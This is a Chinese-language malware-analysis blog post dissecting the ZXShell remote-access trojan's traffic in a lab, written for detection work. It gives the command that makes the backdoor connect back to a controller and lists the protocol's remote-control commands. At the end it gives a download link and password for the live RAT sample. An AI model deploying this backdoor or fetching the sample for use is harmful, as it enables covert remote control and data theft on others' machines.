前言:
这是一个很就很久以前的远控了,这东西好像当时用的人比较少。今天在网上发现了于是下载下来分析一下。软件轻巧简洁,功能也比较齐全,唯一感觉不足的是配置个人感觉比较麻烦。软件的介绍及简单使用说明在压缩包里的“必读.txt”,这里不再赘述,本文主要从后门通信的数据流量角度去分析,文末附远控样本及分析过程中的数据包。
-
文件目录
zxshell3压缩包里面包含以下文件:
├─Controller.exe 控制端,用来操控上线的服务端
├─ctrldll.dll Controller.exe的模块,主要负责远程桌面时拦截本地系统一些热键。
├─qqwry.dat ip到地理位置的数据库,可以自己下载更新的版本代替它
├─srv
│ ├─myip.txt 放在http服务器配合上线通知的用的,如果直接通过域名解析则无需用到此文件
│ ├─ZXCFG.exe 配置ZXShell.exe的默认安装参数
│ ├─zxplug.rar ZXPlug插件功能, 如何添加自定义命令的一个例子
│ └─ZXShell.exe 服务端,console版本,有几个参数,可以在cmd 下通过 -help 参数获得详细信息
└─必读.txt
程序适应平台:2000/xp/vista(在测试的时候发现win7上也可正常运行)。
-
分析环境
控制端:win7虚拟机 (10.0.3.160)
服务端:win7虚拟机(10.0.3.172)
上线端口默认为1985
-
分析过程
下面将从样本的上线、远程桌面、文件控制、命令执行等操作指令的流量数据特征进行分析。
-
样本配置
样本的配置如下图
控制端默认设置监听端口1985,填好配置的上线密码如下图
样本配置好后,控制端点击右边的启动按钮开始监听。将生成的样本放到服务端(10.0.3.172)上并运行。(由于本地测试就没有使用外网上行的方式,采用的本地测试上线方式),在10.0.3.172上打开一个CMD,执行“puliic_ZXShell.exe -ip 10.0.3.160 -port 1985 -filename c:\ctrldll.dll -test”,可以看见会释放一个ctrldll.dll文件到我们指定的目录下
此时我们回到控制端,可以看到已经上线
上线后可以看到服务端的版本、IP、地理位置、信通信息等信息。
此时我们可以从服务端上抓取的两台机器通信的数据包中可以看到上线帧。上线之后同多数远控一样,自动发送本机的一些基本信息给控制端,如下图
此时我们点击控制端上的“系统信息”,获取服务端电脑信息。可以看到,与上线帧里面获取的系统信息不通的是,此时服务端返回的信息系统信息更加详细。
抓到的数据包:
可以发现,控制端首先发送指令“sysinfo”给服务端,随后服务端分两个包返回了系统信息。
-
远程桌面
指令为:winvnc
-
视频监视
指令为:capsrv
-
获取一个CMD
指令为:getcmd
获取CMD后我们执行一条命令:calc.exe,打开服务端电脑上的计算器。
可以看到服务端电脑已经弹出计算器。
-
-
文件管理
-
指令为:FileMG..
随后执行几条操作看看流量是怎样的,首先转到C盘目录下
可以看到,控制端发送指令:LIST C,随后服务端返回了C盘的文件信息。
-
-
-
下载文件
-
-
我们下载C盘根目录下的名为“test”的文件夹到本地。
可以看到控制端发送了一个FILE C:\test的指令给服务端。随后开始下载。
-
-
-
上传文件
-
-
上传控制端桌面的上的一个“hehe.txt”的文本文件到服务端的C盘根目录下。
可以看到控制端显示发送了一直SIZE hehe.txt 的指令然后再发送一个STOR hehe.txt的指令随后开始上传hehe.txt文件。
-
-
-
删除文件
-
-
删除刚才上传的hehe.txt文件,控制端发送的指令为DELE C:\hehetxt.
小结:
-
-
- 该远控采用TCP协议通信,上线默认端口:1985
- 指令:
-
获取系统信息:sysinfo
远程桌面:winvnc
视频监视:capsrv
文件管理:FileMG
命令执行:getcmd
获取文件列表:LIST
下载文件:FILE X:\文件路径
上传文件:SIZE 文件名、STOR 文件名
-
- 在分析过程中发现,服务端会不定时的向控制端发送心跳包,包长为55。
下载地址:http://pan.baidu.com/s/1kVA28Wv 密码:lbvc